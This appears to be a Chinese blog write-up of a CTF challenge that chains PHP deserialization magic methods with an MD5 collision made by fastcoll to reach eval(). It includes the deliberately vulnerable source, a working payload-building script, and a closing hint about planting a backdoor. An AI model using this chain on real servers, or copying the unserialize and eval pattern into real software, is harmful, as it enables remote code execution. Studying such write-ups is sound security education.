PHP反序列化+MD5碰撞

PHP反序列化+MD5碰撞

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class Backdoor {
    public $x;
    public $y;

    public function __invoke(){
        if( is_string($this->x) && is_string($this->y) && ($this->x != $this->y) && (md5($this->x) === md5($this->y)) ){
           if(!preg_match("/\<\?/", $this->x, $match)){
               eval($this->x);
           } else {
               die("No Way!");
           }
        } else {
            die("Keep it up......");
        }
    }
}


class Entrance{
    public $name;
    public $str;
    public function __construct(){
        $this->name = "Bunny";
    }
    public function __toString(){
        return $this->str->name;
    }

    public function __wakeup(){
        echo 'Welcome, '.$this->name."<br>";
    }
}


class Test{
    public $z;
    public function __construct(){
        $this->z = array();
    }

    public function __get($key){
        $function = $this->z;
        return $function();
    }
}

if (isset($_GET['poc'])){
    unserialize($_GET['poc']);
}

?>

分析:

首先,由unserialize可以很明显看出这是一道关于PHP反序列化的题,这种题通常需要先找一个入口。

检查代码后,很快发现一处PHP魔术方法__wakeup()

__wakeup():
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,

这个方法中虽然只是简单的输出了一句话,但是细心观察会发现__wakeup()魔术方法的上面还有一个__toString()的魔术方法。

__toString():

类被当成字符串时的回应方法。

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

由此可猜测,可以将这个类自己赋值给$this->name,这样他在拼接字符串时就会触发__toString()魔术方法。

再细看__toString魔术方法中的内容,$this->str->name,由这个可猜测可以将某个类赋值给$this->str,然后去那个类里找name这个变量。

再回看源码,发现test类中有一个__get()的魔术方法。

__get():

PHP中__get(),获得一个类的成员变量时调用

在 php 面向对象编程中,类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()。

结合上面的步骤,我们可以在反序列化的过程中给test类里添加一个私有变量name,这样在获取私有变量的时候就会触发__get()魔术方法。

再来看__get()魔术方法中的内容,他return了一个$function(),而$function = $this->z,这个地方很容易会想到将类当做函数去执行的操作,于是再检查代码,果然发现__invoke()魔术方法。

__invoke():

__invoke(),调用函数的方式调用一个对象时的回应方法

作用:

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

注意:

本特性只在 PHP 5.3.0 及以上版本有效。

__invoke()魔术方法中有过滤操作,它要求x和y的值都必须是一个字符串,他们两值不相等,但是MD5值要一样,最后还会将x的内容当做PHP代码来执行,也就是我们最终要利用的eval()函数!

整个过程差不多就是这样,如果直接看看不出来的话,也可以从后往前看,即找到可能被利用的地方往前推。

解答:

构造poc链

<?php

class Entrance{
    public $name;
    public $str;
}

class Test{
    public $z;
	private $name;
}

class Backdoor {
    public $x;
    public $y;
}


$a=new Entrance();
$b=new Test();
$c=new Backdoor();

$a->name=$a;	//用来触发tostring
$a->str=$b;		//用来触发get
$b->z=$c;		//用来触发invoke
$c->x=file_get_contents("1_msg1.txt");
$c->y=file_get_contents("1_msg2.txt");

echo urlencode(serialize($a));//明文输出会存在不可见字符,所以记得url编码一下

?>

链子不难,只要3步就可以完成,这题难在最后MD5碰撞这块,随随便便找两个MD5值一样的字符串不难,但是还要将这个字符串当做PHP代码来执行的话,可能就不简单了。

自己一个一个的试肯定是不行的,这里得借助一个工具fastcoll。

资源下载
程序:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
源码:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip

这个工具的作用就是你给他一串字符串,他会给你输出两段包含该字符串且MD5值一样的文件,有了这个工具后,这题就很简单了。

下面随便做个测试,用PHP代码输出99999。

首先准备一个1.txt,文件内容为

echo 999999;

将该文件拖到fastcoll.exe上,程序会自动生成两段文本。

检查该文本后发现,在代码后面跟着许多乱码字符串,所以我们可以在原文件后加上注释,于是修改1.txt

echo 999999;//

丢进fastcoll里给生成了两个文件,由于该文件内存在乱码,所以建议直接用file_get_contents来获取文件内容。

image

测试结果:

image

至此eval函数成功执行,最后可以尝试留后门,或直接读文件。

posted @ 2022-07-02 15:47  Sentry_fei  阅读(410)  评论(0编辑  收藏  举报